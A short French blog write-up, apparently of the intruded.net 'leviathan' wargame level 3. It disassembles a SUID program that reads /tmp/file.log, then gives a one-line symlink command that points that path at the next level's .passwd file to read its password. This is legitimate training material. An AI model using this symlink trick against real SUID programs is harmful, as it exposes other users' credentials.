I'm currently traducing the posts in english, my english is not very good, so if you find errors feel free to contact me.
  • intruded.net : leviathan – level #3

    Hop, dès qu’on est connecté level3 on file dans le répertoire /wargame, vu qu’il n’y a rien dans le dossier home.
    Une fois dans ce répertoire, et après l’avoir listé, on voit que le binaire prog est SUID level3 et level4, c’est donc notre cible.

    1
    2
    
    level3@leviathan:/wargame$ ./prog
    Cannot find /tmp/file.log

    Apparament le binaire essaie d’ouvrir le fichier file.log dans le répertoire /tmp.
    Pour confirmer on peut désassember le binaire, mais ce n’est vraiment pas nécessaire.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    
    8048564:	e8 07 ff ff ff       	call   8048470 <fopen@plt>
    8048569:	89 45 f4             	mov    %eax,0xfffffff4(%ebp)
    804856c:	83 7d f4 00          	cmpl   $0x0,0xfffffff4(%ebp)
    8048570:	75 18                	jne    804858a <main+0x46>
    8048572:	c7 04 24 08 87 04 08 	movl   $0x8048708,(%esp)
    8048579:	e8 a2 fe ff ff       	call   8048420 <puts@plt>
    804857e:	c7 04 24 ff ff ff ff 	movl   $0xffffffff,(%esp)
    8048585:	e8 d6 fe ff ff       	call   8048460 <exit@plt>
    804858a:	8b 45 f4             	mov    0xfffffff4(%ebp),%eax
    804858d:	89 04 24             	mov    %eax,(%esp)
    8048590:	e8 4b fe ff ff       	call   80483e0 <fgetc@plt>
    8048595:	88 45 fb             	mov    %al,0xfffffffb(%ebp)
    8048598:	8b 45 f4             	mov    0xfffffff4(%ebp),%eax
    804859b:	89 04 24             	mov    %eax,(%esp)
    804859e:	e8 4d fe ff ff       	call   80483f0 <feof@plt>
    80485a3:	85 c0                	test   %eax,%eax
    80485a5:	75 0e                	jne    80485b5 <main+0x71>
    80485a7:	0f be 45 fb          	movsbl 0xfffffffb(%ebp),%eax
    80485ab:	89 04 24             	mov    %eax,(%esp)
    80485ae:	e8 5d fe ff ff       	call   8048410 <putchar@plt>
    80485b3:	eb d5                	jmp    804858a <main+0x46>
    80485b5:	8b 45 f4             	mov    0xfffffff4(%ebp),%eax
    80485b8:	89 04 24             	mov    %eax,(%esp)
    80485bb:	e8 90 fe ff ff       	call   8048450 <fclose@plt>
    80485c0:	e8 7b fe ff ff       	call   8048440 <getuid@plt>
    80485c5:	89 04 24             	mov    %eax,(%esp)
    80485c8:	e8 b3 fe ff ff       	call   8048480 <setuid@plt>
    80485cd:	c7 04 24 fa 86 04 08 	movl   $0x80486fa,(%esp)
    80485d4:	e8 27 fe ff ff       	call   8048400 <unlink@plt>

    Pour résumer, on lit un caractère (fgetc()) et on l’affiche (putchar()) tant qu’on est pas à la fin du fichier.

    étant donné que le binaire est SUID level4 il nous permet de lire des fichiers SUID level4, et comme le fichier /home/level4/.passwd appartient à level4, il nous reste qu’à faire un lien dessus et le tour est joué ;)

    1
    
    ln -s /home/level4/.passwd /tmp/file.log

    Voilà, on ré-execute le binaire et on a le password :)

    next?lol


Rss Feed Tweeter button